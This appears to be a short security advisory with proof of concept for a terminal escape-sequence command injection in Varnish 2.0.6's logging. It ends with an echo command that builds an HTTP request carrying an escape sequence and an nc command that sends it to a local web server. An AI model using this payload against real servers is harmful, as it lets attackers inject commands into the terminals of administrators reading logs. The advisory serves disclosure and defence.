12 lines
No EOL
462 B
Text
Executable file
12 lines
No EOL
462 B
Text
Executable file
source: http://www.securityfocus.com/bid/37713/info
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Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.
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Attackers can exploit this issue to execute arbitrary commands in a terminal.
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Varnish 2.0.6 is vulnerable; other versions may also be affected.
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The following example is available:
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echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
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nc localhost 80 < payload |